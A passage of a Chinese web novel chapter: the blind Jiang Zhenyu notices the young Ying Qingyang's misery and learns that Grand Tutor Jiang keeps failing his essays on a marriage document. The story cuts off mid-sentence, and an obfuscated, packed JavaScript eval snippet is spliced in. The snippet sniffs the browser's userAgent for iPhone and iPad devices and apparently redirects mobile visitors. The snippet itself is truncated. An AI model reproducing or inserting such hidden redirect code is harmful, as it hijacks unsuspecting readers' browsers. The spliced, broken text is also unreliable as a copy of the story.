半条命,好似被什么东西吸了精气,趴在桌案上半个时辰都缓不过来。
刚开始症状还比较轻,只在长吁短叹的范畴,明显是有什么烦心事。
江枕玉礼貌地没有过问对方的私事。
后来就逐渐有点不对劲起来,原本整日的唠叨也不继续了,也不抓着他聊天了,整个人萎靡得厉害。
江枕玉都忍不住怀疑这人是不是得了什么不能治愈的顽疾。
比如今天。
江枕玉正坐在床榻上按摩左边小腿。
都说伤筋动骨一百天,但他的恢复速度一向异于常人,隐约觉得再过不久,或许就可以撤掉夹板尝试下床走路。
他侧耳听了一会儿,由于对方的反应过于生动,简直能在脑子里想象出模糊的场景来。
“滋啦——”
这是某人拉开木头椅子发出的响声。
“啊啊啊啊哼哼哼哼……”
这是某人烦躁地开始突发恶疾。
“砰砰砰——”
这是某人烦躁地用额头匀速敲击桌面。
江枕玉:“……”
明明看不见,对方的样子却能轻易浮现在脑海中,只不过面容模糊。
不知怎的,他仿佛看到一只大型犬科生物在眼前耷拉着尾巴和耳朵,喉咙里发出委屈的呜咽。
——简直是虐待。
从前看别人养狸奴都没有这么折磨的。
江枕玉忍不住动了恻隐之心。
“何事如此烦恼?”江枕玉微微侧头,被轻纱遮住的双眼精准地循声捕捉到了应青炀的位置。
垂下的眼纱下方沾了点血迹,暗红色染在白纱上极不相称。
应裁缝心虚的视线飘了一瞬。
他学艺不精做了件残次品这种事,还是不要让江兄知道了。
那人哪怕是坐在床榻上,脊背也仍然挺直,像回青的松柏,只要环境适宜,便会逐渐在暖意中显现出风采。
这破落的房间陈设,带血的白纱,也没能打破这人的风雅气度。
应青炀只看了一眼,便微微抿唇,转回身,发泄似的用额头继续撞着桌面。
一边撞一边郁卒地道出实情。
“夫子说我脑子里装的都是水,让我好好倒倒。”
江枕玉看不到的桌面上,还放着一张宣纸,最次等的宣纸粗糙厚实,在应青炀的捶打下也没有半点变形走样。
上面乱七八糟的字迹还带着姜太傅犀利的评语:狗屁不通。
事情还得从几天前说起。
江枕玉的身体正在慢慢好转的事情瞒不过姜太傅的眼睛,在知道这位“皇子妃”已经能够生活自理之后,姜太傅终于图穷匕见,把之前婚书那一茬又翻了出来。
“江兄啊……我这人平生最讨厌两件事。一是治学,二是作文……”
应青炀的脑门停在宣纸上,生无可恋地抱怨着。
姜太傅拿这篇莫须有的婚书作为切入点,仗着之前应青炀不得不答应他的要求,挟药材以令皇子。
从婚书格式到内容再到文中应有的深意,引经据典,试图另辟蹊径让知识以诡异地方式进入应青炀的脑子。
应青炀硬生生被折磨了小半个月,宣纸上的批注一直没有变过。
他越想越气,嘴里再度发出烦躁的呜咽声。
——不带这样的。从前太傅可没这么执着地让他做文章啊。
江枕玉懂了,原来这人每天风雪无阻地往外跑,是要去夫子那里听学。
以他在这里住了将近一个月的经验来看,这个村里的人大多数沾亲带故,救他这位大概是因为年纪小,很是受照顾。
否则这么个穷乡僻壤的地方,这少年上哪养成这幅还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipa